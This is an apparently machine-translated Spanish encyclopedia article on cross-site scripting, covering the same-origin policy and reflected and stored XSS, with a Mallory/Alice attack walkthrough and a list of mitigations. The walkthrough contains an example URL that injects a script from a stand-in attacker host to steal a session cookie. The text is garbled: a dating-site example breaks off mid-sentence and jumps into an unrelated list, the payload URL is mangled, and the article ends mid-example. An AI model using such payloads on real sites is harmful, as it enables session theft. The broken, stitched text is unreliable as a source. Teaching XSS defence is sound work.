Secuencias de comandos entre sitios


La secuencia de comandos entre sitios ( XSS ) es un tipo de vulnerabilidad de seguridad que normalmente se encuentra en las aplicaciones web . Los ataques XSS permiten a los atacantes inyectar scripts del lado del cliente en las páginas web que ven otros usuarios. Los atacantes pueden utilizar una vulnerabilidad de secuencias de comandos entre sitios para eludir los controles de acceso , como la política del mismo origen . Las secuencias de comandos entre sitios realizadas en sitios web representaron aproximadamente el 84% de todas las vulnerabilidades de seguridad documentadas por Symantec hasta 2007. [1]Los efectos de XSS varían en un rango desde pequeñas molestias hasta un riesgo de seguridad significativo, dependiendo de la sensibilidad de los datos manejados por el sitio vulnerable y la naturaleza de cualquier mitigación de seguridad implementada por la red del propietario del sitio .

La seguridad en la web depende de una variedad de mecanismos, incluido un concepto subyacente de confianza conocido como política del mismo origen. Esto esencialmente establece que si el contenido de un sitio (como https://mybank.example1.com ) tiene permiso para acceder a recursos (como cookies, etc.) en un navegador web , entonces el contenido de cualquier URL con el mismo (1) El esquema de URI, (2) nombre de host y (3) número de puerto compartirán estos permisos. El contenido de las URL donde cualquiera de estos tres atributos es diferente deberá recibir permisos por separado. [2]

Los ataques de secuencias de comandos entre sitios utilizan vulnerabilidades conocidas en aplicaciones basadas en web, sus servidores o los sistemas de complementos de los que dependen. Aprovechando uno de estos, los atacantes incorporan contenido malicioso en el contenido que se entrega desde el sitio comprometido. Cuando el contenido combinado resultante llega al navegador web del lado del cliente, todo ha sido entregado desde la fuente confiable y, por lo tanto, opera con los permisos otorgados a ese sistema. Al encontrar formas de inyectar scripts maliciosos en páginas web, un atacante puede obtener privilegios de acceso elevados al contenido sensible de la página, a las cookies de sesión y a una variedad de otra información mantenida por el navegador en nombre del usuario. Los ataques de secuencias de comandos entre sitios son un caso de inyección de código .

Los ingenieros de seguridad de Microsoft introdujeron el término "cross-site scripting" en enero de 2000. [3] La expresión "cross-site scripting" se refería originalmente al acto de cargar la aplicación web de terceros atacada desde un sitio de ataque no relacionado. de una manera que ejecute un fragmento de JavaScript preparado por el atacante en el contexto de seguridad del dominio objetivo (aprovechando una vulnerabilidad XSS reflejada o no persistente ). La definición se expandió gradualmente para abarcar otros modos de inyección de código, incluidos los vectores persistentes y no JavaScript (incluidos ActiveX , Java , VBScript , Flash o incluso scripts HTML ), lo que generó cierta confusión en los recién llegados al campo de la seguridad de la información . [4]

Las vulnerabilidades XSS se han informado y explotado desde la década de 1990. Los sitios destacados afectados en el pasado incluyen los sitios de redes sociales Twitter , [5] Facebook , [6] MySpace , YouTube y Orkut . [7] [8] Las fallas de secuencias de comandos entre sitios han superado los desbordamientos de búfer para convertirse en la vulnerabilidad de seguridad más común reportada públicamente, [9] con algunos investigadores en 2007 estimando que hasta el 68% de los sitios web probablemente estén abiertos a ataques XSS. [10]

No existe una clasificación única y estandarizada de fallas de secuencias de comandos entre sitios, pero la mayoría de los expertos distinguen entre al menos dos tipos principales de fallas XSS: no persistentes y persistentes . Algunas fuentes dividen aún más estos dos grupos en tradicionales (causados ​​por fallas en el código del lado del servidor) y basados en DOM (en el código del lado del cliente).

No persistente (reflejado)

Ejemplo de un defecto XSS no persistente
Las vulnerabilidades XSS no persistentes en Google podrían permitir que los sitios maliciosos ataquen a los usuarios de Google que los visitan mientras están conectados. [11]

La vulnerabilidad de secuencias de comandos entre sitios no persistente (o reflejada ) es, con mucho, el tipo más básico de vulnerabilidad web. [12] Estos agujeros aparecen cuando los datos proporcionados por un cliente web, más comúnmente en los parámetros de consulta HTTP (por ejemplo, envío de formularios HTML), son utilizados inmediatamente por los scripts del lado del servidor para analizar y mostrar una página de resultados para y para ese usuario. , sin desinfectar adecuadamente el contenido. [13]

Debido a que los documentos HTML tienen una estructura en serie plana que combina declaraciones de control, formato y el contenido real, cualquier dato no validado proporcionado por el usuario incluido en la página resultante sin la codificación HTML adecuada puede llevar a la inyección de marcado. [12] [13] Un ejemplo clásico de un vector potencial es un motor de búsqueda de sitios: si uno busca una cadena, la cadena de búsqueda normalmente se volverá a mostrar literalmente en la página de resultados para indicar lo que se buscó. Si esta respuesta no escapa o rechaza correctamente los caracteres de control HTML, se producirá un error de secuencia de comandos entre sitios. [14]

Un ataque reflejado generalmente se envía por correo electrónico o un sitio web neutral. El cebo es una URL de apariencia inocente que apunta a un sitio confiable pero que contiene el vector XSS. Si el sitio de confianza es vulnerable al vector, hacer clic en el enlace puede hacer que el navegador de la víctima ejecute el script inyectado.

Persistente (o almacenado)

Ejemplo de un defecto XSS persistente
Una vulnerabilidad persistente de secuencias de comandos entre zonas junto con un gusano informático permitió la ejecución de código arbitrario y la lista de contenidos del sistema de archivos a través de una película QuickTime en MySpace . [15]

La vulnerabilidad XSS persistente (o almacenada ) es una variante más devastadora de una falla de secuencia de comandos entre sitios: ocurre cuando el servidor guarda los datos proporcionados por el atacante y luego se muestran permanentemente en páginas "normales" que se devuelven a otros usuarios el curso de la navegación regular, sin un escape HTML adecuado. Un ejemplo clásico de esto es con los foros de mensajes en línea donde los usuarios pueden publicar mensajes en formato HTML para que otros usuarios los lean. [13]

Por ejemplo, supongamos que hay un sitio web de citas donde los miembros escanean los perfiles de otros miembros para ver si se ven interesantes. Por razones de privacidad, este sitio oculta el nombre real y el correo electrónico de todos. Estos se mantienen en secreto en el servidor. La única vez que el nombre real y el correo electrónico de un miembro están en el navegador es cuando el miembro ha iniciado sesión y no puede ver el de nadie más.

Supongamos que Mallory, un atacante, se une al sitio y quiere averiguar los nombres reales de las personas que ve en el sitio. Para ello, se escribe un guión diseñado para ejecutarse desde los navegadores de otros usuarios cuando ellos visitan su perfil. Luego, el script envía un mensaje rápido a su propio servidor, que recopila esta información.

Para hacer esto, para la pregunta "Describe tu primera cita ideal", Mallory da una respuesta corta (para parecer normal) pero el texto al final de su respuesta es su guión para robar nombres y correos electrónicos. Si la secuencia de comandos está incluida dentro de un

  • Mallory crea una URL para explotar la vulnerabilidad:
    1. Ella crea la URL . Podría optar por codificar los caracteres ASCII con codificación porcentual , por ejemplo , para que los lectores humanos no puedan descifrar inmediatamente la URL maliciosa. [23]http://bobssite.org/search?q=puppies%20src="http:>http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
    2. Ella envía un correo electrónico a algunos miembros desprevenidos del sitio de Bob, diciendo "¡Miren algunos cachorros lindos!"
  • Alice recibe el correo electrónico. Le encantan los cachorros y hace clic en el enlace. Va al sitio web de Bob para buscar, no encuentra nada y muestra "cachorros no encontrados", pero justo en el medio, la etiqueta de secuencia de comandos se ejecuta (es invisible en la pantalla) y carga y ejecuta el programa authstealer.js de Mallory (activando el ataque XSS). Alice se olvida de eso.
  • El programa authstealer.js se ejecuta en el navegador de Alice como si se hubiera originado en el sitio web de Bob. Toma una copia de la cookie de autorización de Alice y la envía al servidor de Mallory, donde Mallory la recupera.
  • Mallory ahora coloca la cookie de autorización de Alice en su navegador como si fuera el suyo. Luego va al sitio de Bob y ahora inicia sesión como Alice.
  • Ahora que está dentro, Mallory va a la sección de Facturación del sitio web, busca el número de la tarjeta de crédito de Alice y toma una copia. Luego va y cambia su contraseña para que Alice no pueda iniciar sesión más.
  • Decide dar un paso más y envía un enlace diseñado de manera similar al mismo Bob, obteniendo así privilegios de administrador en el sitio web de Bob.
  • Se podrían haber hecho varias cosas para mitigar este ataque:

    1. La entrada de búsqueda podría haberse desinfectado, lo que incluiría una verificación de codificación adecuada.
    2. El servidor web podría configurarse para redirigir solicitudes no válidas.
    3. El servidor web podría detectar un inicio de sesión simultáneo e invalidar las sesiones.
    4. El servidor web podría detectar un inicio de sesión simultáneo desde dos direcciones IP diferentes e invalidar las sesiones.
    5. El sitio web solo puede mostrar los últimos dígitos de una tarjeta de crédito utilizada anteriormente.
    6. El sitio web podría requerir que los usuarios ingresen sus contraseñas nuevamente antes de cambiar su información de registro.
    7. El sitio web podría promulgar varios aspectos de la Política de seguridad del contenido .
    8. Configure una cookie con una HttpOnlybandera para evitar el acceso desde JavaScript.

    Ataque persistente

    1. Mallory obtiene una cuenta en el sitio web de Bob.
    2. Mallory observa que el sitio web de Bob contiene una vulnerabilidad XSS almacenada: si uno va a la sección Noticias y publica un comentario, el sitio mostrará lo que se ingrese. Si el texto del comentario contiene etiquetas HTML, se agregarán a la fuente de la página web; en particular, cualquier etiqueta de secuencia de comandos se ejecutará cuando se cargue la página.
    3. Mallory lee un artículo en la sección de Noticias e ingresa un comentario:
      I love the puppies in this story! They're so cute!